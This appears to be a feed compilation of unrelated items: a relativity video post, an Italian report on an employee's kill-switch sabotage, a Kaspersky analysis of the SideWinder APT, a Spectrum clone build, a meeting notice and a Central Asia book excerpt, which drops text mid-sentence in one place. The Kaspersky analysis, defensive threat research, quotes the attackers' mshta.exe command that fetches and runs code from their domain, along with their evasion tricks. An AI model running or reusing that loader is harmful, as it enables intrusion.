Science fiction authors and readers dream of travelling at the speed of light, but Einstien tells us we can’t. You might think that’s an arbitrary rule, but [FloatHeadPhysics] shows a different way to think about it. Based on a book he’s been reading, “Relativity Visualized,” he provides a graphic argument for relativity that you can see in the video below.

The argument starts off by explaining how a three-dimensional object might appear in a two-dimensional world. In this world, everything is climbing in the hidden height dimension at the exact same speed.

Our 2D friends, of course, can only see the shadow of the 3D object so if it is staying in one place on the table surface, the object never seems to move. However, just as we can measure time with a clock, the flat beings could devise a way to measure height. They would see that the object was moving “through height” at the fixed speed.

Now suppose the object turns a bit and is moving at, say, a 45 degree angle relative to the table top. Now the shadow moves and the “clock speed” measuring the height starts moving more slowly. If the object moves totally parallel to the surface, the shadow moves at the fixed speed and the clock speed shadow doesn’t move at all.

This neatly explains time dilation and length contraction. It also shows that the speed of light isn’t necessarily a rule. It is simply that everything in the observable universe is moving at the speed of light and how moving through space affects it.

Doesn’t make sense? Watch the video and it will. Pretty heady stuff. We love how passionate [FloatHeadPhysics] gets about the topic. If you prefer a funnier approach, turn to the BBC. Or, if you like the hands-on approach, build a cloud chamber and measure some muons.

youtube.com/embed/TJmgKdc7H34?…

hackaday.com/2025/03/10/you-ar…

Negli Stati Uniti, la corte ha condannato uno sviluppatore di software Davis Lu, 55 anni, il quale è stato dichiarato colpevole di aver deliberatamente sabotato i sistemi informatici della sua ex azienda dopo essere stato declassato. L’incidente è avvenuto presso Eaton, una grande azienda impegnata nella gestione dell’energia e nella fornitura di soluzioni nei campi dell’ingegneria elettrica, idraulica e meccanica.

Lou lavorava nell’azienda dal 2007, ma le sue responsabilità e il suo stipendio sono stati notevolmente ridotti in seguito a una riorganizzazione aziendale nel 2018. In risposta, ha sviluppato un malware e ha installato un “kill switch” sui sistemi aziendali, che ha poi causato un grave guasto. Il codice dannoso includeva loop infiniti che sovraccaricavano le risorse del server di produzione, causando arresti anomali e impedendo agli utenti di effettuare l’accesso.

Inoltre, Lou ha eliminato i profili dei suoi colleghi e ha implementato un meccanismo di blocco che si attivava quando il suo account veniva disabilitato in Windows Active Directory. Questo software, chiamato tecnicamente “kill switch” è stato crittografato con il nome “IsDLEnabledinAD“, che sta per “Is Davis Lou Active in Active Directory“.

Al momento del suo licenziamento, il 9 settembre 2019, il codice ha automaticamente bloccato l’accesso ai sistemi per migliaia di dipendenti.

Il giorno in cui gli fu ordinato di restituire il portatile aziendale, Lou cancellò i dati crittografati. Secondo il Dipartimento di Giustizia degli Stati Uniti, le ricerche di Lu su Internet indicavano tentativi di trovare modi per aumentare i privilegi, nascondere processi ed eliminare rapidamente file.

Le azioni di Lou costarono all’azienda centinaia di migliaia di dollari di danni. Il tribunale lo ha ritenuto colpevole di aver intenzionalmente danneggiato computer protetti, reato che prevede una pena massima di 10 anni di carcere. Non è ancora stata fissata la data della sentenza.

L'articolo Vendetta Digitale! Un Dipendente Infedele Sabota l’azienda con un Kill Switch dopo il licenziamento proviene da il blog della sicurezza informatica.

Casualmente avevo programmato la ripubblicazione di questo contributo nel momento in cui l’attualità ci consegna la notizia che negli Stati Uniti vengono messe al bando delle parole, una delle quali è gender. In questa relazione, come poi nel libro che pubblicammo, è una parola che ricorre di frequente: Prima di essere spacciata come una specie di mostro, nemico delle famiglie e dei valori, gender era una parola relativamente nota per via dell’espressione gender studies, di cui per una serie di ragioni non si usava molto il corrispettivo italiano.
Ancora più volentieri, dunque, ripubblico questo contributo quasi giovanile, in un clima in cui si manomette il senso delle parole per liberarsi di decenni di elaborazione del pensiero.

massimogiuliani.it/blog/2025/0…

Per una terapia sistemica “sensibile al genere”

A proposito di una ricerca che ho condotto anni fa con Adriana Valle sulle questioni di genere in terapia della famiglia e sulla prescrittività dei ruoli maschile e femminile.

^{Corpi che parlano, il blog}

Last year, we published an article about SideWinder, a highly prolific APT group whose primary targets have been military and government entities in Pakistan, Sri Lanka, China, and Nepal. In it, we described activities that had mostly happened in the first half of the year. We tried to draw attention to the group, which was aggressively extending its activities beyond their typical targets, infecting government entities, logistics companies and maritime infrastructures in South and Southeast Asia, the Middle East, and Africa. We also shared further information about SideWinder’s post-exploitation activities and described a new sophisticated implant designed specifically for espionage.

We continued to monitor the group throughout the rest of the year, observing intense activity that included updates to SideWinder’s toolset and the creation of a massive new infrastructure to spread malware and control compromised systems. The targeted sectors were consistent with those we had seen in the first part of 2024, but we noticed a new and significant increase in attacks against maritime infrastructures and logistics companies.

In 2024, we initially observed a significant number of attacks in Djibouti. Subsequently, the attackers shifted their focus to other entities in Asia and showed a strong interest in targets within Egypt.

Moreover, we observed other attacks that indicated a specific interest in nuclear power plants and nuclear energy in South Asia and further expansion of activities into new countries, especially in Africa.

Countries and territories targeted by SideWinder in the maritime and logistics sectors in 2024

It is worth noting that SideWinder constantly works to improve its toolsets, stay ahead of security software detections, extend persistence on compromised networks, and hide its presence on infected systems. Based on our observation of the group’s activities, we presume they are constantly monitoring detections of their toolset by security solutions. Once their tools are identified, they respond by generating a new and modified version of the malware, often in under five hours. If behavioral detections occur, SideWinder tries to change the techniques used to maintain persistence and load components. Additionally, they change the names and paths of their malicious files. Thus, monitoring and detection of the group’s activities reminds us of a ping-pong game.

Infection vectors

The infection pattern observed in the second part of 2024 is consistent with the one described in the previous article.

Infection flow

The attacker sends spear-phishing emails with a DOCX file attached. The document uses the remote template injection technique to download an RTF file stored on a remote server controlled by the attacker. The file exploits a known vulnerability (CVE-2017-11882) to run a malicious shellcode and initiate a multi-level infection process that leads to the installation of malware we have named “Backdoor Loader”. This acts as a loader for “StealerBot”, a private post-exploitation toolkit used exclusively by SideWinder.

The documents used various themes to deceive victims into believing they are legitimate.

Some documents concerned nuclear power plants and nuclear energy agencies.

Malicious documents related to nuclear power plants and energy

Many others concerned maritime infrastructures and various port authorities.

Malicious documents relating to maritime infrastructures and different port authorities

In general, the detected documents predominantly concerned governmental decisions or diplomatic issues. Most of the attacks were aimed at various national ministries and diplomatic entities.

We also detected various documents that covered generic topics. For example, we found a document with information on renting a car in Bulgaria, a document expressing an intent to buy a garage, and another document offering a freelance video game developer a job working on a 3D action-adventure game called “Galactic Odyssey”.

Examples of generic malicious documents

RTF exploit

The exploit file contained a shellcode, which had been updated by the attacker since our previous research, but the main goal remained the same: to run embedded JavaScript code invoking the
mshtml.RunHTMLApplication function.
In the new version, the embedded JavaScript runs the Windows utility
mshta.exe and obtains additional code from a remote server:javascript:eval("var gShZVnyR = new ActiveXObject('WScript.Shell');gShZVnyR.Run('mshta.exe
dgtk.depo-govpk[.]com/19263687…);window.close();")
The newer version of the shellcode still uses certain tricks to avoid sandboxes and complicate analysis, although they differ slightly from those in past versions.

• It uses the GlobalMemoryStatusEx function to determine the size of RAM.
• It attempts to load the nlssorting.dll library and terminates execution if operation succeeds.

JavaScript loader

The RTF exploit led to the execution of the
mshta.exe Windows utility, abused to download a malicious HTA from a remote server controlled by the attacker.mshta.exe hxxps://dgtk.depo-govpk[.]com/19263687/trui
The remote HTA embeds a heavily obfuscated JavaScript file that loads further malware, the “Downloader Module”, into memory.

The JavaScript loader operates in two stages. The first stage begins execution by loading various strings, initially encoded with a substitution algorithm and stored as variables. It then checks the installed RAM and terminates if the total size is less than 950 MB. Otherwise, the previously decoded strings are used to load the second stage.

The second stage is another JavaScript file. It enumerates the subfolders at Windows%\Microsoft.NET\Framework\ to find the version of the .NET framework installed on the system and uses the resulting value to configure the environment variable
COMPLUS_Version.
Finally, the second stage decodes and loads the Downloader Module, which is embedded within its code as a base64-encoded .NET serialized stream.

Downloader Module

This component is a .NET library used to collect information about the installed security solution and download another component, the “Module Installer”. These components were already described in the previous article and will not be detailed again here.

In our latest investigation, we discovered a new version of the
app.dll Downloader Module, which includes a more sophisticated function for identifying installed security solutions.
In the previous version, the malware used a simple WMI query to obtain a list of installed products. The new version uses a different WMI, which collects the name of the antivirus and the related “productState”.

Furthermore, the malware compares all running process names against an embedded dictionary. The dictionary contains 137 unique process names associated with popular security solutions.
The WMI query is executed only when no Kaspersky processes are running on the system.

Backdoor Loader

The infection chain concludes with the installation of malware that we have named “Backdoor Loader”, a library consistently sideloaded using a legitimate and signed application. Its primary function is to load the “StealerBot” implant into memory. Both the “Backdoor Loader” and “StealerBot” were thoroughly described in our prior article, but the attacker has distributed numerous variants of the loader in recent months, whereas the implant has remained unchanged.

In the previous campaign, the “Backdoor Loader” library was designed to be loaded by two specific programs. For correct execution, it had to be stored on victims’ systems under one of the following names:
propsys.dll
vsstrace.dll
During the most recent campaign, the attackers tried to diversify the samples, generating many other variants distributed under the following names:
JetCfg.dll
policymanager.dll
winmm.dll
xmllite.dll
dcntel.dll
UxTheme.dll
The new malware variants feature an enhanced version of anti-analysis code and employ Control Flow Flattening more extensively to evade detection.

During the investigation, we found a new C++ version of the “Backdoor Loader” component. The malware logic is the same as that used in the .NET variants, but the C++ version differs from the .NET implants in that it lacks anti-analysis techniques. Furthermore, most of the samples were tailored to specific targets, as they were configured to load the second stage from a specific file path embedded in the code, which also included the user’s name. Example:
C:\Users\[REDACTED]\AppData\Roaming\valgrind\[REDACTED FILE NAME].[REDACTED EXTENSION]
It indicates that these variants were likely used after the infection phase and manually deployed by the attacker within the already compromised infrastructure, after validating the victim.

Victims

SideWinder continues to attack its usual targets, especially government, military, and diplomatic entities. The targeted sectors are consistent with those observed in the past, but it is worth mentioning that the number of attacks against the maritime and the logistics sectors has increased and expanded to Southeast Asia.

Furthermore, we observed attacks against entities associated with nuclear energy. The following industries were also affected: telecommunication, consulting, IT service companies, real estate agencies, and hotels.

Countries and territories targeted by SideWinder in 2024

Overall, the group has further extended its activities, especially in Africa. We detected attacks in Austria, Bangladesh, Cambodia, Djibouti, Egypt, Indonesia, Mozambique, Myanmar, Nepal, Pakistan, Philippines, Sri Lanka, the United Arab Emirates, and Vietnam.

In this latest wave of attacks, SideWinder also targeted diplomatic entities in Afghanistan, Algeria, Bulgaria, China, India, the Maldives, Rwanda, Saudi Arabia, Turkey, and Uganda.

Conclusion

SideWinder is a very active and persistent actor that is constantly evolving and improving its toolkits. Its basic infection method is the use of an old Microsoft Office vulnerability, CVE-2017-11882, which once again emphasizes the critical importance of installing security patches.

Despite the use of an old exploit, we should not underestimate this threat actor. In fact, SideWinder has already demonstrated its ability to compromise critical assets and high-profile entities, including those in the military and government. We know the group’s software development capabilities, which became evident when we observed how quickly they could deliver updated versions of their tools to evade detection, often within hours. Furthermore, we know that their toolset also includes advanced malware, like the sophisticated in-memory implant “StealerBot” described in our previous article. These capabilities make them a highly advanced and dangerous adversary.

To protect against such attacks, we strongly recommend maintaining a patch management process to apply security fixes (you can use solutions like Vulnerability Assessment and Patch Management and Kaspersky Vulnerability Data Feed) and using a comprehensive security solution that provides incident detection and response, as well as threat hunting. Our product line for businesses helps identify and prevent attacks of any complexity at an early stage. The campaign described in this article relies on spear-phishing emails as the initial attack vector, which highlights the importance of regular employee training and awareness programs for corporate security.

We will continue to monitor the activity of this group and to update heuristic and behavioral rules for effective detection of malware.

***More information, IoCs and YARA rules for SideWinder are available to customers of the Kaspersky Intelligence Reporting Service. Contact: intelreports@kaspersky.com.

Indicators of compromise

Microsoft Office Documents

e9726519487ba9e4e5589a8a5ec2f933
d36a67468d01c4cb789cd6794fb8bc70
313f9bbe6dac3edc09fe9ac081950673
bd8043127abe3f5cfa61bd2174f54c60
e0bce049c71bc81afe172cd30be4d2b7
872c2ddf6467b1220ee83dca0e118214
3d9961991e7ae6ad2bae09c475a1bce8
a694ccdb82b061c26c35f612d68ed1c2
f42ba43f7328cbc9ce85b2482809ff1c

Backdoor Loader

0216ffc6fb679bdf4ea6ee7051213c1e
433480f7d8642076a8b3793948da5efe

Domains and IPs

pmd-office[.]info
modpak[.]info
dirctt888[.]info
modpak-info[.]services
pmd-offc[.]info
dowmloade[.]org
dirctt888[.]com
portdedjibouti[.]live
mods[.]email
dowmload[.]co
downl0ad[.]org
d0wnlaod[.]com
d0wnlaod[.]org
dirctt88[.]info
directt88[.]com
file-dwnld[.]org
defencearmy[.]pro
document-viewer[.]info
aliyum[.]email
d0cumentview[.]info
debcon[.]live
document-viewer[.]live
documentviewer[.]info
ms-office[.]app
ms-office[.]pro
pncert[.]info
session-out[.]com
zeltech[.]live
ziptec[.]info
depo-govpk[.]com
crontec[.]site
mteron[.]info
mevron[.]tech
veorey[.]live
mod-kh[.]info

securelist.com/sidewinder-apt-…

If you’ve ever fancied building a ZX Spectrum clone without hunting down ancient ULAs or soldering your way through 60+ chips, [Alex J. Lowry] has just dropped an exciting build. He has recreated the Leningrad-1, a Soviet-built Spectrum clone from 1988, with a refreshingly low component count: 44 off-the-shelf ICs, as he wrote us. That’s less than many modern clones like the Superfo Harlequin, yet without resorting to programmable logic. All schematics, Gerbers, and KiCad files are open-source, listed at the bottom of [Alex]’ build log.

The original Leningrad-1 was designed by Sergey Zonov during the late Soviet era, when cloning Western tech was less about piracy and more about survival. Zonov’s design nailed a sweet spot between affordability and usability, with enough compatibility to run 90-95% of Spectrum software. [Alex]’ replica preserves that spirit, with a few 21st-century tweaks for builders: silkscreened component values, clever PCB stacking with nylon standoffs, and a DIY-friendly mechanical keyboard hack using transparent keycaps.

While Revision 0 still has some quirks – no SCART color output yet, occasional flickering borders with AY sound – [Alex] is planning for further improvements. Inspired to build your own? Read [Alex]’ full project log here.

hackaday.com/2025/03/10/zx-spe…

At our previous member meeting, we moved future member meetings to every other Sunday at 8pm Eastern. That switch starts tonight, Sunday, March 9th. Keep in mind that Daylight Savings Time switched on today so yesterday’s 8pm is today’s 9pm.

To participate:

• go to communitybridge.com/bbb-room/m…;
• enter your name;
• enter the access code listed on the page;
• click the Join button.

Summaries of the meetings and agendas are at our wiki. You can view the 2025, 2024, 2023 and 2022 meeting recordings.

masspirates.org/blog/2025/03/0…

#CentralAsia #history #AhmedRashid

1 Conquerors, Khans and Communists

As it had been so many times before, the fate of Central Asia was to be decided. The khans, or chiefs, of the great tribes - the Kazakh ordas, the Mongol hordes, the Uzbek Shaybanis and the Tajik clans - were gathering to discuss their fate on a cold winter's evening. They arrived wrapped up in great fur coats and fur hats with earflaps that stretched across their faces hiding them from view. Flurries of snow swept across the earth as the chiefs, with their advisers and bodyguards in tow, greeted each other with the customary Muslim warmth.
An honour guard, its members shivering in the cold, went through an elaborate military drill to welcome each delegation. Their hands were close to freezing as they grasped their weapons and brought them level to present arms to the guests. In one corner of the arrival ground a band of musicians played the national anthems of the tribes and traditional tunes. In between the arrival of the delegations, the musicians clapped their hands to keep warm and rubbed their lips to prevent them chapping. In another corner young girls, dressed in elaborate and colourful costumes, waited to present frozen flowers to the guests.
Tonight the khans would feast together, sitting cross-legged on the floor surrounded by carpets and silk pillows, and discuss the critical situation informally, gauging what the others felt and what positions they were likely to take in public.Tomorrow there would be a grand tribal assembly, the ulus or majlis or jirga - there are many names for it - where they would all present their views.The leaders that gathered that night were the heirs of the conquerors of the world, men such as Genghis Khan, Babar and Tamerlane. Their ancestors were also some of the greatest scientists, poets, philosophers and mystics that the steppe has ever produced.The majority of these leaders had never seen the sea: they lived in a landlocked region among the highest mountain ranges in the world, the harshest deserts and the most lush oases ever tilled by man.Yet that night there was a strange tension in the air, a disquiet and nervousness that old-timers had never seen before. Some of the leaders looked fearful, which was hardly normal for the warriors of the Central Asian steppe.
The setting for the meeting was Ashkhabad, the capital of the Soviet Republic of Turkmenistan. The chiefs were the old communist party bosses and now presidents of the republics of Kazakhstan, Uzbekistan, Kyrgyzstan, Turkmenistan and Tajikistan. The date was 12 December 1991.The reason for the meeting was the collapse of the Soviet Union.
These heirs of Genghis Khan's warrior nomads and Stalin's communist party machine had suddenly been orphaned; everything they had known for the past seventy-four years was disappearing before their eyes. Four days earlier at a dacha near Brest, 3,000 kilometres away, presidents Boris Yeltsin of Russia, Leonid Kravchuk of Ukraine and Stanislav Shuskevich of Belarus (formerly Byelorussia) had signed a treaty formally disbanding the Soviet Union and creating a new Commonwealth of Independent States (CIS). In getting rid of the 1917 Revolution and the legacy of Lenin, these Slavic leaders had not bothered to inform or consult with their fellow republican presidents in Central Asia.
Whereas once the Muslims of Central Asia had decided the fate of Russia, now the Slavs were taking their own decisions and seemed prepared to dump Central Asia in the process. That day, shivering on the airport tarmac in Ashkhabad as I watched each delegation arrive, the band strike up and the honour guard salute, I witnessed people's palpable fury at the Slavs and, in particular, the anti-Russian feeling. There was talk of racial discrimination, of ethnic o and the Cross, were again coming to life. Once again history was repeating itself.
The next day at Ashkhabad the five presidents of the Central Asian republics sat down together at a press conference and declared, more or less, that they had eaten humble pie. On a long, elevated platform, presidents Nursultan Nazarbayev of Kazakhstan, Rakhmon Nabiev of Tajikistan, Askar Akaev of Kyrgyzstan, Islam Karimov of Uzbekistan and Saparmurad Niyazov of Turkmenistan said that they were willing to join the CIS, but on the basis of equality. They demanded that they too be made founder members of the CIS. There was not a word of anger against Russia or Yeltsin - in public the leaders swallowed their resentment. Russia was still too powerful to annoy. A week later, on 21 December in Alma Ata, the capital of Kazakhstan, the new CIS was formed with eleven out of the fifteen former Soviet republics becoming members. The three Baltic republics were gone for good and Georgia stood aloof. The Soviet state had ceased to exist.
The life blood of the Soviet state had been ebbing away ever since the August coup attempt in Moscow. That had been carried out by Communist hardliners to prevent President Gorbachev signing a new Union treaty that would have still retained some of the close links between the republics.The irony was that the failed coup ensured that public opinion in Russia and Ukraine, the two most powerful of the fifteen Soviet republics, demanded that they leave the Soviet Union altogether. It was as though a mother was preparing to see her children drown. 'Why should we bailout these strife-torn regions of Central Asia, who share nothing with us - least of all our religion. We would be much better off on our own, for then Russia could become a great power again,' said an aide to Russian Deputy Prime Minister Yegor Gaidar, one of the principal economic advisers to President Yeltsin. If this was the mood in Moscow in the offices of the highest in the land, the mood in the streets was even more militandy in favour of Russian independence.
Decades of indoctrination, about the principals of the Soviet State and its internationalist duties had been thrown out of the window. Central Asia in particular was no longer considered part of the great and glorious Soviet motherland, but instead was seen as culturally, racially and in religious terms totally separate from Russia.The socialist premiss of equality, and specifically that the poorer regions of the Soviet state should be developed to become equal to Russia, was now nothing but a naive and expensive policy that was draining the Russian exchequer. The new Soviet man whom communism was supposed to create was now suddenly reduced to defending ethnic frontiers.
The leaders meeting in Ashkhabad knew well the present mood amongst the Slavs, which was being pandered to by leaders such as Yeltsin and Kravchuk, and they were furious. Since the August coup attempt, the Central Asian leaders had backed Gorbachev in his demand for a strong centre. President Nursultan Nazarbayev of Kazakhstan was in the forefront of those arguing for a strong centre in order to keep the military, the nuclear arsenal, the currency and the economy under a single control. He was firmly backed by other Central Asian leaders - except for the president of Kyrgyzstan, Askar Akaev, who six months earlier had supported the idea of a loose commonwealth structure instead of the Soviet state.
Delegation members spoke in private about how Yeltsin had abused and humiliated them by secretly going ahead with the Minsk treaty. The leaders spoke bravely of how they would form a new Central Asian common market. 'All the Central Asian states must get together to form a new confederation or our economic development will be stalled,' said President Islam Karimov of Uzbekistan. 'A Central Asian community is the need of the hour,' echoed the Kyrgyz president, Askar Akaev. Yet everyone knew that for the time being these were merely words. Their faces showed their real fears. Since 1917 Central Asia, the land of the greatest trading routes in history, had become little more than an economic colony for Moscow, producing cotton, metals and other raw materials for the Soviet economic powerhouse. When that powerhouse was seen to be built on sand, Central Asia had nowhere else to turn. By thousands of threads, from electricity grids to oil pipelines to telephone lines, the Central Asian republics were tied into Russia. Moscow was an economic and financial spider's web from which no leader on that day could ever see himself disentangled.
That night in Ashkhabad there were no celebrations. 'We are not celebrating, we are mourning, ' said a Turkoman Foreign Ministry official. 'The future is extremely bleak. The West will help Russia and other Slav republics to survive, but who will help us? ' asked a member of the Uzbek delegation. Here was the final and tragic irony. The break-up of the Soviet Union had given Central Asia that very independence that their forefathers had struggled for, but they were hesitating to eat from it. Economically dependent on Moscow and politically desirous of a strong centre that would guarantee a peacekeeping role for the CIS army, the five states were now faced with rebuilding their economies, forging independent foreign policies and ensuring some degree of foreign aid. The communist bureaucracies that these leaders had risen from had only known subservience and dependency on Moscow for the party line. Now there was no line and no party. All lines had been cut.
Moreover they were all faced in varying degrees with radical Islam, assertive ethnic nationalism and inter-ethnic rivalries, and now had to create their own security forces to maintain law and order. Kazakhstan had suddenly become an independent nuclear power - for the only reason that intercontinental ballistic missiles (ICBMs) were based on its soil. When Islamic fundamentalists in Iran and Pakistan hailed Kazakhstan as the first independent Muslim state to have nuclear weapons, that only added to Nazarbayev's nervousness. Anti-Russian feeling amongst the local populations had to be contained so that it would not create a new bloody battleground and a further excuse for Moscow to abandon Central Asia. There was a large and powerful Russian minority in every republic, the largest being in Kazakhstan where it formed nearly half the population.These Russians faced their own crisis: whether to brave the coming ethnic storms in Central Asia or to migrate back to Russia, a move that could trigger off large-scale economic disruption in the republics because it was the Russians who were the technical brains and manpower behind the economy. All these problems, for which the former communist bureaucracies were ill prepared, came as shops emptied fast and food shortages grew.
If the end of tsarist Russia was a turning point for Central Asia in the first part ofthe twentieth century, because it introduced the region to the modern era and a new ideological and economic system, then the end of the Soviet Union has been an equally traumatic turning point, for it created five new independent states in the heart of Muslim Asia. Whereas the transformation of Central Asia after October 1917 was carried out with an unprecedented degree of bloodletting, which decimated the population, the transformation in December 1991 took place without a single dead body in the streets. It was a remarkable way to achieve independence, even though just a few months later Tajikistan was to be in the grip of a brutal civil war.

Today Central Asia comprises five independent republics, Kazakhstan, Kyrgyzstan, Uzbekistan, Turkmenistan and Tajikistan. From its beginning in 1917, the Soviet state never included Kazakhstan in Muslim Central Asia, preferring to give it a non-Asian identity by linking it closely to Russia and Siberia.Today, however, the Kazakhs themselves and the world at large believe they are very much part of the region. Central Asia covers an area of 3,994,300 square kilometres which includes some of the most sparsely populated regions in the world. Its population of only 51 million people includes more than 100 different ethnic groups, from Germans and Austrians to Tibetans and Koreans. The largest ethnic group is the Uzbeks. Uzbekistan has a population of 20.5 million, and Uzbeks form substantial minorities in all other
four republics. There were some 10.6 million Russians living in Central Asia in 1992, but there has been a large-scale exodus of Russians from Tajikistan and Uzbekistan because of fears of ethnic violence and Islamic fundamentalism.
Tashkent and Ashkhabad, the capitals of Uzbekistan and Turkmenistan, have long urban histories but the other three capital cities, Dushanbe in Tajikistan, Alma Ata in Kazakhstan and Beshkek in Kyrgyzstan, were created by the Bolsheviks to give a sense of ethnic identity to those nationalities. Uzbekistan contains all the most famous historical cities of Central Asia: Samarkand, Bukhara, Khiva and Kokand. They were the seats of nomadic empires and settled kingdoms in the past, as well as being centres in the development of Islam throughout the region. For centuries the hundreds of madrasahs, or Islamic colleges in Bukhara and Samarkand attracted students from as far away as Morocco and Indonesia. Bukhara is seen by many Muslims as a place of pilgrimage and the most important city in Islam after Mecca, Medina and Jerusalem. Central Asia was also the birthplace of Sufism, the mystical trend in Islam which spread rapidly to Africa and Asia.
Central Asia lies at the heart ofthe Eurasian continent. Completely landlocked, it borders Iran and Aghanistan to the south, China to the east and Russia to the north and west.The main Central Asian steppe is bounded by the Caspian Sea in the west, the Hindu Kush and Pamir mountain ranges in the south and theTien Shan mountains in the east. There are no fixed boundaries in the north: where the Kazakh steppe merges into the Siberian steppe in a flat landscape that is punctured with numerous lakes. Although thousands of rivers start in the mountains, only two rivers travel for any length and finally reach the landlocked Aral Sea.The Amudarya, the Oxus river of ancient mythology, originates in the Hindu Kush range, runs along the southern-border of Central Asia skirting Afghanistan and Iran, and reaches the Aral Sea after a journey of 2,500 kilometres. The Syrdarya or Jaxartes river originates in the Tien Shan (where it is first called the Naryn river), passes through the Ferghana valley and journeys north of the Kyzlkum desert to reach the Aral Sea after travelling 2,200 kilometres. Thousands of smaller rivers flow down from the mountains but their waters disappear into the sands of the great deserts.
The lands between these two rivers, which today comprises Uzbekistan and Tajikistan, have produced the main developments of Central Asian history and culture. Both these broad rivers formed formidable frontiers for the ancient world. The Amudarya divided the Persian empire and its culture from the Turkic nomadic empires of the Central Asian steppe.The same river later formed the frontier for the Tsar and the communists, separating Central Asia from first the British empire in India and then the Muslim world to the south. Meanwhile the Syrdarya formed the only northern barrier for the Persian, Greek, Arab and then Turkic kingdoms in Central Asia, protecting them from nomadic invasions from Mongolia and the Gobi desert.
All the mountain ranges of Central Asia and Afghanistan converge at the Pamirs, known as the Roof of the World, mountains which until only recently were considered to form one of the most inaccessible ranges because of its height, its snows and its freezing temperatures. In the eighteenth century the Pamirs were called the Third Pole, after the North and South poles, because they were so unknown. The Tien Shan and Kun Lun ranges run north and east from the Pamirs.
It was only in the 1850s that Russian explorers first set foot on the Tien Shan, locally called the Mountains of the Spirits because of the voices that seemed to emanate from their glaciers. Marco Polo was the first Western traveller to traverse the Tien Shan range. 'Even by daylight men hear the voices of the Spirits and often you fancy you are listening to the strains of many instruments. Travellers make a point of staying close together,' he wrote. The Kun Lun were known in ancient Chinese mythology as the Celestial Peaks.
In the centre of the region lie two of the largest deserts in the world. In the south, covering much of present-day Turkmenistan, is the Karakum or 'desert of black sands', which covers 350,000 square kilometres of some of the most arid terrain on earth, where rain is so rare that rainstorms are events recounted decades later by the local nomads.To its north in present-day Uzbekistan is the Kyzlkum or 'red sands' desert, which covers another 300,000 square kilometres and is one and a half times the size of Britain. Despite the scarcity of water, both these deserts have distinctive fauna and flora, as well as being home for some of the toughest nomadic tribes in the world, in particular the Turkomen.
As fearsome as the mountains and deserts are, so the valleys are lush, fertile and capable of producing an abundance and huge variety of crops. In 1900 the total irrigated land in Central Asia was an estimated 46,000 square kilometres of which 12,500 square kilometres lay in the oases of Bukhara, 9,000 square kilometres in the Ferghana valley and 300 square kilometres in and around Khiva. Ancient irrigation was carried out by digging wells and using the wheel system to raise water, as well as the kareez method, and by taking water from the rivers. Agriculture in Central Asia has always been carried out around oasis settlements where water was readily available. Each oasis was a selfcontained economic unit and autonomous except for the barter trade with surrounding nomads and the caravans that passed through them. Oases were frequently devastated or ransacked by the nomadic armies sweeping through, but it took them only one or two agricultural cycles to revive. It was only in the eighteenth century that the pauperized local rulers of Central Asia began to squeeze farmers for taxes and tributes.
At the heart of Central Asia is the Ferghana valley, once a cohesive economic unit but divided in the 1930s by Stalin between Uzbekistan, Tajikistan and Kyrgyzstan. The valley is 300 kilometres long and 170 kilometres wide and its history, the power of its princes and mullahs and its ability to mount sustained resistance against all outsiders, has made it the political and Islamic nerve centre of Central Asia. With a population of 7 million people, the narrow valley is the most densely populated region in Central Asia. The Soviet regime changed this natural geography of oasis settlements by irrigating vast areas of the steppe for cotton and grain cultivation. The project was initially highly successful, but the lack of planning and foresight later created massive problems which the Soviet regime refused to acknowledge and which are only coming to the surface today. Acute water shortages, pollution, the drying-up of lakes and seas, desertification and environmental catastrophes brought on by nuclear waste are only some of the problems that these newly independent republics now face. This tragedy is compounded by the fact that the nomads have always lived at one with their environment. The nomad's respect for the environment is unmatched anywhere in the world. Thus the callousness with which the Soviet system treated the land has been particularly galling to the nomadic population.
Much of the world's ancient history originated in Central Asia for it was the birthplace of the great warrior tribes that conquered Russia, Europe, India and China. Later we look in greater detail at the history of the individual races of Central Asia, even though it is difficult to split the ancient history of a region that, until Stalin, considered itself as one geographical and even historical entity.
For example, in the history of which modern day republic does one include the story of Alexander the Great or of Genghis Khan, two conquerors who affected the whole region, or the story of the Saminid kings who laid the foundations for the lasting influence of the Persian language and culture in Central Asia? Later we attempt to discuss these figures according to the regions where they had the most influence.
However, a brief outline of Central Asian history is necessary if one is to understand the cut and thrust of its present-day politics.
To the classical world of the Greeks and the Romans, Central Asia was known as Transoxiana, or the region beyond the Oxus river. The Oxus was only one of many ancient names given to the Amudarya river.
To the Arabs Central Asia was known as 'the land between two rivers' - the Syrdarya and the Amudarya.
To the English Elizabethans it was known as Tartary.
It was the fourteenth-century Moroccan traveller and writer Ibn Battuta,who coined the word Turkestan, meaning 'the land inhabited by Turks'.
The nineteenth-century British writer Rudyard Kipling called Central Asia the 'Back of Beyond'. The Chinese built the Great Wall of China precisely to keep out the tribes from Mongolia and Central Asia.
European writers wrote about Central Asia without having the slightest idea what it was really like and often even where it was.
The Elizabethan playwright Christopher Marlowe in his verse drama 'Tamburlaine the Great' describes Central Asia and the exploits of Tamerlane in some detail, much of it wrong. Nevertheless, Marlowe's poetry helped to build the image of awesome power and megalomania that Central Asian leaders came to represent. As 'Tamburlaine' says in a more modest moment:

I hold the Fates bound fast in iron chains,
And with my hand turn Fortune's wheel about;
And sooner shall the sun fall from his sphere
Than Tamburlaine be slain or overcome.

Poets such as John Milton and the Romantics John Keats and Percy Bysshe Shelley helped build up the mystique of Central Asia in European eyes.
Writers such as G.A. Henty and Kipling described it in their adventure novels as a barbaric, unpredictable region - even though neither had ever been there.
For the European outsider, Central Asia was a land where the imagination could run riot and take whatever liberty it liked, so few Westerners ever travelled there.
In one way or another Central Asia has always gripped the imagination of outsiders, whether they be Muslim or Christian, European or Asian. For the West it has epitomized the mystery of the Orient and the wide open spaces of the steppe punctuated by bazaars, ruthless tyrants and nomadic armies.
In the nineteenth century Central Asia was permanently etched in the minds of British schoolboys because the Great Game played between the Russian and the British empires led to numerous adventure stories about the region.
For Muslims Central Asia has epitomized the distant and inaccessible, but still the second holiest region after Saudi Arabia - steeped in Islam and mysticism, and the originator of so many Muslim races.
For the Russians it has been a reminder of one of the most painful parts of their history, as they lived for centuries under Mongol rulers and their successors, the Tartars. Russian mothers still use the threat 'the Tartars are coming' to frighten little children into bed or into doing their homework. Russian prejudices remain deeply ingrained. Ethnic riots in Central Asian cities are still described by Russian commentators as 'riots between rampaging mobs' or 'crazed Islamic fundamentalists'. In 1990, after ethnic riots between Uzbeks and Kyrgyz, no less a person than the Soviet interior minister Vadim Bakatin described them as 'a reflection of primitive and medieval nationalism'.The same kind of nationalism being espoused in the Baltic republics or Ukraine at the time was never described in such a way.
